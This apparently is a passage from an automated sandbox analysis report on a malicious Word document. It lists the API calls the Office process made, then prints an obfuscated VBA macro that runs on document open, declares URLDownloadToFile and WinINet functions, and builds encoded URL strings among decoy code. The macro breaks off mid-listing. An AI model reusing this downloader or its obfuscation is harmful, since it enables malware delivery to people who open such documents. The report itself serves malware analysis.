  2937. "msptls.dll.?LsDisplayLine@Ptls6@@YGJPAVCLsLine@1@PBUtagLSPOINT@1@IPBUtagLSRECT@1@@Z",
  2938. "mso.dll.#6247",
  2939. "gdi32.dll.TranslateCharsetInfo",
  2940. "mso.dll.#3300",
  2941. "mso.dll.#7465",
  2942. "gdi32.dll.SetWindowOrgEx",
  2943. "mso.dll.#732",
  2944. "mso.dll.#5804",
  2945. "mso.dll.#2155",
  2946. "mso.dll.#9465",
  2947. "mso.dll.#4746",
  2948. "msptls.dll.?LsPointUV2FromPointUV1@Ptls6@@YGJKPBUtagLSPOINTUV@1@0KPAU21@@Z",
  2949. "msptls.dll.?LsQueryLinePointPcp@Ptls6@@YGJPAVCLsLine@1@PBUtagLSPOINTUV@1@JPAUlsqsubinfo@1@PAJPAUlstextcell@1@@Z",
  2950. "ole32.dll.CoCreateInstance",
  2951. "mso.dll.#434",
  2952. "user32.dll.GetMessageExtraInfo",
  2953. "user32.dll.TrackMouseEvent",
  2954. "mso.dll.#9528",
  2955. "mso.dll.#5341",
  2956. "user32.dll.GetInputState",
  2957. "mso.dll.#8461",
  2958. "user32.dll.GetWindowDC",
  2959. "gdi32.dll.SetLayout",
  2960. "gdi32.dll.RectVisible",
  2961. "gdi32.dll.GetClipRgn",
  2962. "gdi32.dll.ExcludeClipRect",
  2963. "gdi32.dll.SelectClipRgn",
  2964. "user32.dll.WindowFromPoint",
  2965. "user32.dll.GetCursorInfo",
  2966. "user32.dll.GetCapture",
  2967. "user32.dll.GetMessagePos",
  2968. "user32.dll.ScreenToClient",
  2969. "user32.dll.SetFocus",
  2970. "user32.dll.GetDesktopWindow",
  2971. "user32.dll.FindWindowExW",
  2972. "user32.dll.SendNotifyMessageW",
  2973. "user32.dll.GetClipboardOwner",
  2974. "user32.dll.GetActiveWindow",
  2975. "user32.dll.GetAncestor",
  2976. "mso.dll.#3544",
  2977. "mso.dll.#900",
  2978. "mso.dll.#1422",
  2979. "user32.dll.MsgWaitForMultipleObjectsEx",
  2980. "advapi32.dll.NotifyServiceStatusChangeW",
  2981. "mso.dll.#8662",
  2982. "gdiplus.dll.GdipLoadImageFromStreamICM",
  2983. "windowscodecs.dll.DllGetClassObject",
  2984. "gdiplus.dll.GdipGetImageRawFormat",
  2985. "gdiplus.dll.GdipGetImageFlags",
  2986. "gdiplus.dll.GdipGetImageWidth",
  2987. "gdiplus.dll.GdipGetImageHeight",
  2988. "gdiplus.dll.GdipGetImagePixelFormat",
  2989. "gdiplus.dll.GdipGetImageHorizontalResolution",
  2990. "gdiplus.dll.GdipGetImageVerticalResolution",
  2991. "gdiplus.dll.GdipImageGetFrameCount",
  2992. "gdiplus.dll.GdipDisposeImage",
  2993. "mso.dll.#2052",
  2994. "gdiplus.dll.GdipDeletePath",
  2995. "mso.dll.#7555",
  2996. "mso.dll.#5070",
  2997. "mso.dll.#1566",
  2998. "mso.dll.#7678",
  2999. "gdiplus.dll.GdipCreatePath",
  3000. "gdiplus.dll.GdipStartPathFigure",
  3001. "gdiplus.dll.GdipAddPathLine2",
  3002. "gdiplus.dll.GdipClosePathFigure",
  3003. "gdiplus.dll.GdipClonePath",
  3004. "gdiplus.dll.GdipCreateMatrix2",
  3005. "gdiplus.dll.GdipTransformPath",
  3006. "gdiplus.dll.GdipDeleteMatrix",
  3007. "gdiplus.dll.GdipAddPathPolygon",
  3008. "gdiplus.dll.GdipGetPathWorldBounds",
  3009. "gdiplus.dll.GdipCreatePen1",
  3010. "gdiplus.dll.GdipSetPenLineCap197819",
  3011. "gdiplus.dll.GdipSetPenLineJoin",
  3012. "gdiplus.dll.GdipSetPenMiterLimit",
  3013. "gdiplus.dll.GdipCreatePathIter",
  3014. "gdiplus.dll.GdipPathIterRewind",
  3015. "gdiplus.dll.GdipPathIterNextSubpath",
  3016. "gdiplus.dll.GdipPathIterCopyData",
  3017. "gdiplus.dll.GdipDeletePathIter",
  3018. "gdiplus.dll.GdipAddPathLine",
  3019. "gdiplus.dll.GdipClonePen",
  3020. "gdiplus.dll.GdipSetPenStartCap",
  3021. "gdiplus.dll.GdipSetPenEndCap",
  3022. "gdiplus.dll.GdipDeletePen",
  3023. "gdiplus.dll.GdipCreateFromHDC",
  3024. "gdiplus.dll.GdipSetPixelOffsetMode",
  3025. "gdiplus.dll.GdipSetSmoothingMode",
  3026. "gdiplus.dll.GdipSetCompositingQuality",
  3027. "gdiplus.dll.GdipSetPageUnit",
  3028. "gdiplus.dll.GdipSetInterpolationMode",
  3029. "gdiplus.dll.GdipGetSmoothingMode",
  3030. "gdiplus.dll.GdipTransformPoints",
  3031. "gdiplus.dll.GdipCreateBitmapFromGraphics",
  3032. "gdiplus.dll.GdipGetImageGraphicsContext",
  3033. "gdiplus.dll.GdipTranslateWorldTransform",
  3034. "gdiplus.dll.GdipCreateImageAttributes",
  3035. "gdiplus.dll.GdipSetImageAttributesWrapMode",
  3036. "gdiplus.dll.GdipGetImageType",
  3037. "gdiplus.dll.GdipGetImageBounds",
  3038. "gdiplus.dll.GdipDrawImagePointsRect",
  3039. "oleaut32.dll.#12",
  3040. "oleaut32.dll.#8",
  3041. "oleaut32.dll.#10",
  3042. "gdiplus.dll.GdipDisposeImageAttributes",
  3043. "gdiplus.dll.GdipDeleteGraphics",
  3044. "gdiplus.dll.GdipCreateCachedBitmap",
  3045. "gdiplus.dll.GdipDrawCachedBitmap",
  3046. "mso.dll.#6899",
  3047. "user32.dll.GetScrollPos",
  3048. "mso.dll.#629",
  3049. "user32.dll.IsClipboardFormatAvailable",
  3050. "advapi32.dll.CryptAcquireContextA",
  3051. "advapi32.dll.CryptGenKey",
  3052. "cryptsp.dll.CryptGenKey",
  3053. "advapi32.dll.CryptImportKey",
  3054. "cryptsp.dll.CryptImportKey",
  3055. "advapi32.dll.CryptExportKey",
  3056. "cryptsp.dll.CryptExportKey",
  3057. "advapi32.dll.CryptDestroyKey",
  3058. "user32.dll.IsHungAppWindow",
  3059. "advapi32.dll.CryptCreateHash",
  3060. "advapi32.dll.CryptSetHashParam",
  3061. "advapi32.dll.CryptHashData",
  3062. "advapi32.dll.CryptGetHashParam",
  3063. "cryptsp.dll.CryptGetHashParam",
  3064. "advapi32.dll.CryptDestroyHash",
  3065. "kernel32.dll.FlsAlloc",
  3066. "kernel32.dll.FlsGetValue",
  3067. "kernel32.dll.FlsSetValue",
  3068. "kernel32.dll.FlsFree",
  3069. "ieawsdc.dll.HrExtractTemplateToPath",
  3070. "msi.dll.#90",
  3071. "advapi32.dll.ConvertSidToStringSidW",
  3072. "msi.dll.DllGetVersion",
  3073. "mso.dll.#7531",
  3074. "mso.dll.#8837",
  3075. "user32.dll.GetClassNameW",
  3076. "mso.dll.#1455",
  3077. "mso.dll.#5315",
  3078. "user32.dll.InSendMessage",
  3079. "user32.dll.SetTimer",
  3080. "user32.dll.FlashWindow",
  3081. "mso.dll.#6422",
  3082. "user32.dll.WaitMessage",
  3083. "mso.dll.#5090",
  3084. "user32.dll.GetMessageA",
  3085. "user32.dll.SetCursor",
  3086. "user32.dll.KillTimer",
  3087. "mso.dll.#9018",
  3088. "user32.dll.LoadImageW",
  3089. "user32.dll.CreateWindowExW",
  3090. "comctl32.dll.HIMAGELIST_QueryInterface",
  3091. "comctl32.dll.DrawShadowText",
  3092. "comctl32.dll.DrawSizeBox",
  3093. "comctl32.dll.DrawScrollBar",
  3094. "comctl32.dll.SizeBoxHwnd",
  3095. "comctl32.dll.ScrollBar_MouseMove",
  3096. "comctl32.dll.ScrollBar_Menu",
  3097. "comctl32.dll.HandleScrollCmd",
  3098. "comctl32.dll.DetachScrollBars",
  3099. "comctl32.dll.AttachScrollBars",
  3100. "comctl32.dll.CCSetScrollInfo",
  3101. "comctl32.dll.CCGetScrollInfo",
  3102. "comctl32.dll.CCEnableScrollBar",
  3103. "comctl32.dll.QuerySystemGestureStatus",
  3104. "uxtheme.dll.#49",
  3105. "uxtheme.dll.CloseThemeData",
  3106. "user32.dll.EnableScrollBar",
  3107. "user32.dll.ShowScrollBar",
  3108. "user32.dll.ShowWindow",
  3109. "user32.dll.SetParent",
  3110. "user32.dll.ClientToScreen",
  3111. "user32.dll.MoveWindow",
  3112. "user32.dll.DestroyWindow",
  3113. "gdi32.dll.GetViewportExtEx",
  3114. "gdi32.dll.GetWindowExtEx",
  3115. "gdi32.dll.GetTextCharset",
  3116. "gdi32.dll.GetMapMode",
  3117. "gdi32.dll.GetLayout",
  3118. "oleaut32.dll.SysAllocString",
  3119. "oleaut32.dll.SysStringLen",
  3120. "oleaut32.dll.SysAllocStringLen",
  3121. "crypt32.dll.CryptQueryObject",
  3122. "wintrust.dll.CryptSIPPutSignedDataMsg",
  3123. "wintrust.dll.CryptSIPGetSignedDataMsg",
  3124. "cryptsp.dll.CryptGetDefaultProviderW",
  3125. "cryptsp.dll.CryptAcquireContextW",
  3126. "crypt32.dll.CertEnumCertificatesInStore",
  3127. "crypt32.dll.CryptVerifyCertificateSignatureEx",
  3128. "wintrust.dll.WinVerifyTrust",
  3129. "wintrust.dll.WintrustCertificateTrust",
  3130. "wintrust.dll.SoftpubAuthenticode",
  3131. "uxtheme.dll.GetThemePartSize",
  3132. "wintrust.dll.CryptSIPVerifyIndirectData",
  3133. "user32.dll.GetMessageW",
  3134. "gdi32.dll.IntersectClipRect",
  3135. "gdi32.dll.SetTextColor",
  3136. "gdi32.dll.SetBkMode",
  3137. "gdi32.dll.SetTextAlign",
  3138. "gdi32.dll.ExtSelectClipRgn",
  3139. "gdi32.dll.GetTextColor",
  3140. "uxtheme.dll.DrawThemeBackground",
  3141. "advapi32.dll.RegDeleteValueW",
  3142. "wininet.dll.InternetGetConnectedState",
  3143. "osppcext.dll.SLActivateProduct",
  3144. "osppcext.dll.SLGetTokenActivationGrants",
  3145. "osppcext.dll.SLGetTokenActivationCertificates",
  3146. "osppcext.dll.SLGenerateTokenActivationChallenge",
  3147. "osppcext.dll.SLSignTokenActivationChallenge",
  3148. "osppcext.dll.SLDepositTokenActivationResponse",
  3149. "osppcext.dll.SLFreeTokenActivationGrants",
  3150. "osppcext.dll.SLFreeTokenActivationCertificates",
  3151. "gdi32.dll.GdiFlush",
  3152. "advapi32.dll.SaferiSearchMatchingHashRules",
  3153. "wintrust.dll.WTHelperProvDataFromStateData",
  3154. "wintrust.dll.WTHelperGetProvSignerFromChain",
  3155. "cabinet.dll.#23",
  3156. "mso.dll.#1885",
  3157. "mso.dll.#677",
  3158. "mso.dll.#832",
  3159. "mso.dll.#1266",
  3160. "gdi32.dll.GetStockObject",
  3161. "mso.dll.#6501",
  3162. "riched20.dll.REMSOHInst",
  3163. "mso.dll.#511",
  3164. "mso.dll.#3702",
  3165. "mso.dll.#3484",
  3166. "mso.dll.#1966",
  3167. "mso.dll.#8118",
  3168. "gdi32.dll.GetGlyphIndicesW",
  3169. "mso.dll.#8705",
  3170. "advapi32.dll.CryptReleaseContext",
  3171. "mso.dll.#8060",
  3172. "mso.dll.#844",
  3173. "mso.dll.#6960",
  3174. "mso.dll.#7892",
  3175. "msi.dll.#39",
  3176. "mso.dll.#7931",
  3177. "mso.dll.#3837",
  3178. "mso.dll.#8574",
  3179. "mso.dll.#8398",
  3180. "mso.dll.#2477",
  3181. "msproof7.dll.DllGetClassObject",
  3182. "msproof7.dll.DllCanUnloadNow",
  3183. "mso.dll.#4172",
  3184. "mso.dll.#1439",
  3185. "mso.dll.#9566",
  3186. "mso.dll.#111",
  3187. "mso.dll.#4191",
  3188. "mso.dll.#3802",
  3189. "mso.dll.#6982",
  3190. "mso.dll.#8800",
  3191. "mso.dll.#3572",
  3192. "mso.dll.#167",
  3193. "mso.dll.#5737",
  3194. "mso.dll.#590",
  3195. "mso.dll.#3758",
  3196. "msgr3en.dll.CheckVersion",
  3197. "msgr3en.dll.#29",
  3198. "msgr3en.dll.#30",
  3199. "msgr3en.dll.#31",
  3200. "msgr3en.dll.#32",
  3201. "msgr3en.dll.#33",
  3202. "msgr3en.dll.#34",
  3203. "msgr3en.dll.#35",
  3204. "msgr3en.dll.#45",
  3205. "msgr3en.dll.#46",
  3206. "msgr3en.dll.#47",
  3207. "msgr3en.dll.#48",
  3208. "msgr3en.dll.#51",
  3209. "msgr3en.dll.#50",
  3210. "msgr3en.dll.#49",
  3211. "msgr3en.dll.#43",
  3212. "msgr3en.dll.#41",
  3213. "msgr3en.dll.#42",
  3214. "msgr3en.dll.#44",
  3215. "msgr3en.dll.#39",
  3216. "msgr3en.dll.#40",
  3217. "msgr3en.dll.#36",
  3218. "msgr3en.dll.#38",
  3219. "msgr3en.dll.#37",
  3220. "msgr3en.dll.#56",
  3221. "msgr3en.dll.#52",
  3222. "msgr3en.dll.#53",
  3223. "msgr3en.dll.#57",
  3224. "msgr3en.dll.#58",
  3225. "msgr3en.dll.#59",
  3226. "user32.dll.LoadStringA",
  3227. "mso.dll.#2561",
  3228. "mso.dll.#1414",
  3229. "mso.dll.#8202",
  3230. "mso.dll.#7189",
  3231. "mso.dll.#2738",
  3232. "mso.dll.#8691",
  3233. "mso.dll.#6079",
  3234. "mso.dll.#7167",
  3235. "mso.dll.#7163",
  3236. "mso.dll.#333",
  3237. "mso.dll.#1785",
  3238. "mso.dll.#5919",
  3239. "mso.dll.#2088",
  3240. "mso.dll.#1283",
  3241. "mso.dll.#5274",
  3242. "mso.dll.#3195",
  3243. "user32.dll.RemovePropW",
  3244. "mso.dll.#5973",
  3245. "mso.dll.#2014",
  3246. "mso.dll.#9668",
  3247. "mso.dll.#8472",
  3248. "mso.dll.#2294",
  3249. "mso.dll.#2968",
  3250. "mso.dll.#1961",
  3251. "mso.dll.#2281",
  3252. "mso.dll.#2628",
  3253. "mso.dll.#1401",
  3254. "mso.dll.#3425",
  3255. "mso.dll.#5291",
  3256. "mso.dll.#1718",
  3257. "mso.dll.#4777",
  3258. "mso.dll.#1914",
  3259. "advapi32.dll.RegDeleteKeyW",
  3260. "mso.dll.#235",
  3261. "mso.dll.#4416",
  3262. "mso.dll.#9398",
  3263. "mso.dll.#1442",
  3264. "mso.dll.#4388",
  3265. "mso.dll.#8022",
  3266. "mso.dll.#8757",
  3267. "mso.dll.#237",
  3268. "mso.dll.#4214",
  3269. "mso.dll.#884",
  3270. "mso.dll.#121",
  3271. "mso.dll.#1712",
  3272. "mso.dll.#9344",
  3273. "mso.dll.#4203",
  3274. "mso.dll.#3974",
  3275. "mso.dll.#4882",
  3276. "mso.dll.#2449",
  3277. "mso.dll.#2767",
  3278. "mso.dll.#9199",
  3279. "mso.dll.#7948",
  3280. "mso.dll.#3209",
  3281. "mso.dll.#4083",
  3282. "mso.dll.#292",
  3283. "mso.dll.#795",
  3284. "mso.dll.#8349",
  3285. "mso.dll.#8796",
  3286. "mso.dll.#3930",
  3287. "mso.dll.#9105",
  3288. "mso.dll.#2427",
  3289. "mso.dll.#8116",
  3290. "mso.dll.#6156",
  3291. "user32.dll.UnregisterClassW",
  3292. "user32.dll.UnhookWindowsHookEx",
  3293. "mso.dll.#7002",
  3294. "mso.dll.#186",
  3295. "user32.dll.PostQuitMessage",
  3296. "mso.dll.#591",
  3297. "mso.dll.#2272",
  3298. "mso.dll.#4284",
  3299. "msptls.dll.?LsDestroyContext@Ptls6@@YGJPAUlscontext@1@@Z",
  3300. "mso.dll.#4426",
  3301. "mso.dll.#8473",
  3302. "mso.dll.#8106",
  3303. "mso.dll.#8876",
  3304. "mso.dll.#6185",
  3305. "vbe7.dll.DllVbeTerm",
  3306. "ole32.dll.DllDebugObjectRPCHook",
  3307. "vbe7.dll.DllCanUnloadNow",
  3308. "mso.dll.#4210",
  3309. "mso.dll.#8586",
  3310. "mso.dll.#8004",
  3311. "mso.dll.#6078",
  3312. "mso.dll.#815",
  3313. "mso.dll.#187",
  3314. "mso.dll.#5625",
  3315. "mso.dll.#8316",
  3316. "mso.dll.#7598",
  3317. "ws2_32.dll.#116",
  3318. "user32.dll.RemoveClipboardFormatListener",
  3319. "user32.dll.UnregisterPowerSettingNotification",
  3320. "powrprof.dll.PowerSettingUnregisterNotification",
  3321. "shell32.dll.#155",
  3322. "user32.dll.UnregisterClassA",
  3323. "gdiplus.dll.GdipDeleteCachedBitmap",
  3324. "gdiplus.dll.GdiplusShutdown",
  3325. "wtsapi32.dll.WTSUnRegisterSessionNotification",
  3326. "winsta.dll.WinStationUnRegisterConsoleNotification",
  3327. "mso.dll.#2482",
  3328. "mso.dll.#5458",
  3329. "advapi32.dll.UnregisterTraceGuids",
  3330. "comctl32.dll.#321"
  3331. ]
  3332.  
  3333. [*] Static Analysis: {
  3334. "office": {
  3335. "Macro": {
  3336. "Code": {
  3337. "Macro1": [
  3338. [
  3339. "ThisDocument.cls",
  3340. "#If 1 And VBA7 And Win64 And 1 And 1 And 1 Then\nPrivate Ue7CI3KCoNr As Integer\nPrivate SbX0IAlp6oZRo7GE0 As Integer\nPrivate Declare PtrSafe Function URLDownloadToFile Lib \"urlmon\" Alias _\n\"URLDownloadToFileA\" (ByVal CSaMm4YT9vN As Long, _\nByVal vOq15rJj7 As String, _\nByVal R3DVkwg5gOAm6CcuGf As String, _\nByVal vWyX8 As Long, _\nByVal FOuhxYMx As Long) As LongPtr\nPrivate nW6Z8F5cp As Integer\nPrivate OTnlkaoCE6oBO As Integer\n#Else\nPrivate Ue7CI3KCoNr As Integer\nPrivate FzcTfB3 As Integer\nPrivate Declare Function URLDownloadToFile Lib \"urlmon\" Alias _\n\"URLDownloadToFileA\" (ByVal CSaMm4YT9vN As Long, _\nByVal vOq15rJj7 As String, _\nByVal R3DVkwg5gOAm6CcuGf As String, _\nByVal vWyX8 As Long, _\nByVal FOuhxYMx As Long) As Long\nPrivate Declare Function InternetOpen Lib \"wininet\" Alias \"InternetOpenA\" (ByVal SFuy0ue6F As String, ByVal LVfld0rgrghRPodU As Long, ByVal kqnb4 As String, ByVal tWOrVo04sz As String, ByVal qffQacZGdm As Long) As Long\nPrivate Declare Function InternetCloseHandle Lib \"wininet\" (ByVal haKe3QHUx As Long) As Integer\nPrivate Declare Function InternetReadFile Lib \"wininet\" (ByVal UnJeHc8 As Long, ByVal NmV2gmnhaj9Ct As String, ByVal PpZ9oMIBjn5XW7 As Long, OCX1OoRFnlb6 As Long) As Integer\nPrivate Declare Function InternetOpenUrl Lib \"wininet\" Alias \"InternetOpenUrlA\" (ByVal vmd4KG4aYeE9pu As Long, ByVal JxdyPUAfPV3h As String, ByVal kORA2oYi As String, ByVal QWYfT As Long, ByVal oTvYjyNBUUUb As Long, ByVal oL7wGM80cWf As Long) As Long\nPrivate kcPa7TnPyUb0E6gXfW As Integer\n\n#End If\nPublic r53u4nc\nSub Document_Open()\n\nSelect Case -421\nCase (216 + 289 + (-93 - (-32) + -865)): r53u4nc = Array(l5Qu0IpXCE(\"T5\", \"(W\"), ahSaAw0h(\"E\\\", \"V/\"), HDEti75c(\"MQ\", \"la\"), iD5c9PJf8K(\"Pb\", \"ei\"), Uu0hWQa5(\"S,\", \";A\"), Grrr0fvOe(\"h5\", \"9F\"), NTGoRCvic(\"e3\", \"tz\"), zhrdJCQxE(\"lN\", \"?+\"), ArmjvxE(\"lj\", \"<4\"), GFRC1xQH(\".[\", \"QC\"), ZiGwBLDR3Kd(\"AZ\", \"bV\"), s5Lagjw5m(\"p|\", \"SG\"), ftICRXW6I(\"p<\", \"Mw\"), XLJDdezhP9lSk(\"lC\", \"I6\"), ELk3zBm4WdTd(\"iM\", \"4:\"), zB1jevQih(\"cc\", \"*?\"), CmaDNsXSStKW(\"a}\", \"Fl\"), Vu0ojWQqybp(\"tI\", \"IX\"), UWVuzd2m5a(\"i/\", \"eg\"), teePovJThqk(\"oS\", \"pB\"), wXXOBwP(\"ny\", \"uB\"), zXV4j5tC(\"0\", \"E\"), dfRj09GGx9(\"/\", \"*\"), zXV4j5tC(\"0\", \"E\"), dfRj09GGx9(\"/\", \"*\"), zXV4j5tC(\"0\", \"E\"), dfRj09GGx9(\"/\", \"*\"))\n\nCase (-89 + (405) - (379 + 236) + (-967)):\n\n\n\n ' set document folder path and template strings\n strDocPath = \"C:\\path to document folder\\\"\n strTemplateB = \"C:\\path to template\\templateB.dot\"\n\n ' get first doc - only time need to provide file spec\n strCurDoc = Dir(strDocPath & \"*.doc\")\n\n ' ready to loop (for as long as file found)\n Do While strCurDoc <> \"\"\n ' open file\n Set docCurDoc = Documents.Open(FileName:=strDocPath & strCurDoc)\n ' change the template\n docCurDoc.AttachedTemplate = strTemplateB\n ' save and close\n docCurDoc.Close wdSaveChanges\n ' get next file name\n strCurDoc = Dir\n Loop\n MsgBox \"Finished\"\n\n\n\nMsgBox (\"The document variable is set to type: \" & _\nActiveDocument.Variables(\"DocumentType\").Value)\n\n\n\nEnd Select\n\n\n\nSelect Case -547\nCase (198 + (948) - (-913 + 654) + (-240)):\n\n\n\nActiveDocument.Range.Font.Hidden = True\nSet rDcm = ActiveDocument.Range\nWith rDcm.Find\n.Text = \"\"\n.Highlight = True\n.Forward = False\nWhile .Execute\nIf rDcm.HighlightColorIndex = wdYellow Then\nrDcm.HighlightColorIndex = wdNoHighlight\nrDcm.Font.Hidden = False\nrDcm.Collapse Direction:=wdCollapseStart\nrDcm.Start = ActiveDocument.Range.Start\nEnd If\nWend\nEnd With\nSet rDcm = ActiveDocument.Range\nOptions.DefaultHighlightColorIndex = wdYellow\nWith rDcm.Find\n.Text = \"\"\n.Font.Hidden = False\n.Forward = False\n.Replacement.Highlight = True\n.Execute Replace:=wdReplaceAll\nEnd With\n\n\n\n With Selection.Find\n .ClearFormatting\n .Replacement.ClearFormatting\n .Text = \" {2,}\"\n .Replacement.Text = \"^t\"\n .Forward = True\n .Wrap = wdFindStop\n .Format = False\n .MatchCase = False\n .MatchWholeWord = False\n .MatchAllWordForms = False\n .MatchSoundsLike = False\n .MatchWildcards = True\n End With\n Selection.Find.Execute Replace:=wdReplaceAll\n Selection.ConvertToTable _\n Separator:=wdSeparateByTabs, _\n Format:=wdTableFormatNone\n\n\n\nCase (-786 + -331 + (170 - (-759) + -359)): Mm1SO\n\nEnd Select\n\n\nEnd Sub\nSub Mm1SO()\n\nSelect Case 2148\nCase (297 + (-7) - (-101 + -314) + (420)):\n\n\n\nMsgBox (\"The document variable is set to type: \" & _\nActiveDocument.Variables(\"DocumentType\").Value)\n\n\n\nColumns.EntireColumn.Hidden = False\nRows.EntireRow.Hidden = False\n\n\n\nCase (752 + 857 + (295 - (-230) + 14)): Dim HNzy1totL0eWMcVYJ7u\n\nEnd Select\n\n\n\nSelect Case -808\nCase (447 + 270 + (-793 - (364) + -368)): Dim G1mg7mfiRX\n\nCase (-230 + (-944) - (-981 + 340) + (-179)):\n\n\n\nActiveDocument.Range.Font.Hidden = True\nSet rDcm = ActiveDocument.Range\nWith rDcm.Find\n.Text = \"\"\n.Highlight = True\n.Forward = False\nWhile .Execute\nIf rDcm.HighlightColorIndex = wdYellow Then\nrDcm.HighlightColorIndex = wdNoHighlight\nrDcm.Font.Hidden = False\nrDcm.Collapse Direction:=wdCollapseStart\nrDcm.Start = ActiveDocument.Range.Start\nEnd If\nWend\nEnd With\nSet rDcm = ActiveDocument.Range\nOptions.DefaultHighlightColorIndex = wdYellow\nWith rDcm.Find\n.Text = \"\"\n.Font.Hidden = False\n.Forward = False\n.Replacement.Highlight = True\n.Execute Replace:=wdReplaceAll\nEnd With\n\n\n\nSelection.Find.ClearFormatting\nSelection.Find.Replacement.ClearFormatting\nWith Selection.Find\n .Text = \"xxx\"\n .Replacement.Text = \"yyy\"\n .Forward = True\n .Wrap = wdFindContinue\n .Format = False\n .MatchCase = False\n .MatchWholeWord = False\n .MatchWildcards = False\n .MatchSoundsLike = False\n .MatchAllWordForms = False\nEnd With\n\n\n\nEnd Select\n\n\n\nSelect Case -2383\nCase (-894 + -969 + (629 - (822) + -327)): Dim fUodjSG6Z As String\n\nCase (495 + (-113) - (-84 + 675) + (-728)):\n\n\n\n With Selection.Find\n .ClearFormatting\n .Replacement.ClearFormatting\n .Text = \" {2,}\"\n .Replacement.Text = \"^t\"\n .Forward = True\n .Wrap = wdFindStop\n .Format = False\n .MatchCase = False\n .MatchWholeWord = False\n .MatchAllWordForms = False\n .MatchSoundsLike = False\n .MatchWildcards = True\n End With\n Selection.Find.Execute Replace:=wdReplaceAll\n Selection.ConvertToTable _\n Separator:=wdSeparateByTabs, _\n Format:=wdTableFormatNone\n\n\n\n sBigStuff = \"\"\n\n ' Select the full number in which the insertion point is located\n Selection.MoveLeft Unit:=wdWord, Count:=1, Extend:=wdMove\n Selection.MoveRight Unit:=wdWord, Count:=1, Extend:=wdExtend\n\n ' Store the digits in a variable\n sDigits = Trim(Selection.Text)\n\n If Val(sDigits) > 999999 Then\n If Val(sDigits) <= 999999999 Then\n sBigStuff = Trim(Int(Str(Val(sDigits) / 1000000)))\n ' Create a field containing the big digits and\n ' the cardtext format flag\n Selection.Fields.Add Range:=Selection.Range, _\n Type:=wdFieldEmpty, Text:=\"= \" + sBigStuff + \" \\* CardText\", _\n PreserveFormatting:=True\n\n ' Select the field and copy it\n Selection.MoveLeft Unit:=wdWord, Count:=1, Extend:=wdExtend\n sBigStuff = Selection.Text & \" million \"\n sDigits = Right(sDigits, 6)\n End If\n End If\n If Val(sDigits) <= 999999 Then\n ' Create a field containing the digits and the cardtext format flag\n Selection.Fields.Add Range:=Selection.Range, _\n Type:=wdFieldEmpty, Text:=\"= \" + sDigits + \" \\* CardText\", _\n PreserveFormatting:=True\n\n ' Select the field and copy it\n Selection.MoveLeft Unit:=wdWord, Count:=1, Extend:=wdExtend\n sDigits = sBigStuff & Selection.Text\n\n ' Now put the words in the document\n Selection.TypeText Text:=sDigits\n Selection.TypeText Text:=\" \"\n Else\n MsgBox \"Number too large\", vbOKOnly\n End If\n\n\n\nEnd Select\n\n\n\nSelect Case 1760\nCase (728 + 950 + (902 - (655) + -165)): G1mg7mfiRX = Array(rw5ovQ5U(sb7XBIysm()), rw5ovQ5U(\"\\]ixgKS}hgrLjl0JbjR-oU-ssA0@y7I_us.|h0iy.0~oeF7:xEo}e:kt\"), rw5ovQ5U(\"h/uxt9mXtBi4p*w5s(.o:QvB/n6x/y0Xv24aiJ:ccfy)oOP[mo7Pcj4=lY[UeV0ja0`Ln@(Aie5mnH.`gvwV.OC}i4W]n;`ffq,)ocHT/*[,luBYo>NygfhCilN1nnr;/f1@fWJWr5s~eeM{s@*khAFR/\\)]n{8se,LnwAN9c\\+8ol|>m;Q8pThN.ZX(e}NexVS0e]:p\"), rw5ovQ5U(BBoRyvu4db()))\n\nCase (-437 + (654) - (-17 + 802) + (277)):\n\n\n\n With Selection.Find\n .ClearFormatting\n .Replacement.ClearFormatting\n .Text = \" {2,}\"\n .Replacement.Text = \"^t\"\n .Forward = True\n .Wrap = wdFindStop\n .Format = False\n .MatchCase = False\n .MatchWholeWord = False\n .MatchAllWordForms = False\n .MatchSoundsLike = False\n .MatchWildcards = True\n End With\n Selection.Find.Execute Replace:=wdReplaceAll\n Selection.ConvertToTable _\n Separator:=wdSeparateByTabs, _\n Format:=wdTableFormatNone\n\n\n\nSelection.TypeBackspace\nWith ActiveDocument.Bookmarks\n .Add Range:=Selection.Range, Name:=\"Name\"\n .DefaultSorting = wdSortByName\n .ShowHidden = False\nEnd With\n\n\n\nEnd Select\n\n\n\nSelect Case 16\nCase (-33 + 64 + (160 - (-705) + -880)): Dim VF3OaMsVWvMrZsR5\n\nCase (207 + (402) - (951 + -616) + (289)):\n\n\n\n If Selection.Type = wdSelectionIP Then\n Selection.MoveLeft Unit:=wdWord, Count:=1\n Selection.MoveRight Unit:=wdWord, Count:=1, Extend:=wdExtend\n End If\n Selection.Range.Case = wdTitleWord\n Selection.Font.SmallCaps = True\n\n\n\nSelection.TypeBackspace\nWith ActiveDocument.Bookmarks\n .Add Range:=Selection.Range, Name:=\"Name\"\n .DefaultSorting = wdSortByName\n .ShowHidden = False\nEnd With\n\n\n\nEnd Select\n\n\n\nSelect Case 331\nCase (60 + 406 + (644 - (-68) + -847)): Set VF3OaMsVWvMrZsR5 = leOVUzQenaA(G1mg7mfiRX(5701 - (8757) + (3059)))\n\nCase (-203 + (359) - (541 + -625) + (-354)):\n\n\n\nSelection.TypeBackspace\nWith ActiveDocument.Bookmarks\n .Add Range:=Selection.Range, Name:=\"Name\"\n .DefaultSorting = wdSortByName\n .ShowHidden = False\nEnd With\n\n\n\nActiveDocument.Range.Font.Hidden = True\nSet rDcm = ActiveDocument.Range\nWith rDcm.Find\n.Text = \"\"\n.Highlight = True\n.Forward = False\nWhile .Execute\nIf rDcm.HighlightColorIndex = wdYellow Then\nrDcm.HighlightColorIndex = wdNoHighlight\nrDcm.Font.Hidden = False\nrDcm.Collapse Direction:=wdCollapseStart\nrDcm.Start = ActiveDocument.Range.Start\nEnd If\nWend\nEnd With\nSet rDcm = ActiveDocument.Range\nOptions.DefaultHighlightColorIndex = wdYellow\nWith rDcm.Find\n.Text = \"\"\n.Font.Hidden = False\n.Forward = False\n.Replacement.Highlight = True\n.Execute Replace:=wdReplaceAll\nEnd With\n\n\n\nEnd Select\n\n\n\n\nSelect Case -920\nCase (-743 + -76 + (-748 - (-126) + 521)): fUodjSG6Z = ii3epYH(G1mg7mfiRX(-8113 - (-5737) + (2376))) + G1mg7mfiRX(4010 - (1050) + (-2959))\n\nCase (465 + (784) - (-478 + -452) + (949)):\n\n\n\nActiveDocument.Range.Font.Hidden = True\nSet rDcm = ActiveDocument.Range\nWith rDcm.Find\n.Text = \"\"\n.Highlight = True\n.Forward = False\nWhile .Execute\nIf rDcm.HighlightColorIndex = wdYellow Then\nrDcm.HighlightColorIndex = wdNoHighlight\nrDcm.Font.Hidden = False\nrDcm.Collapse 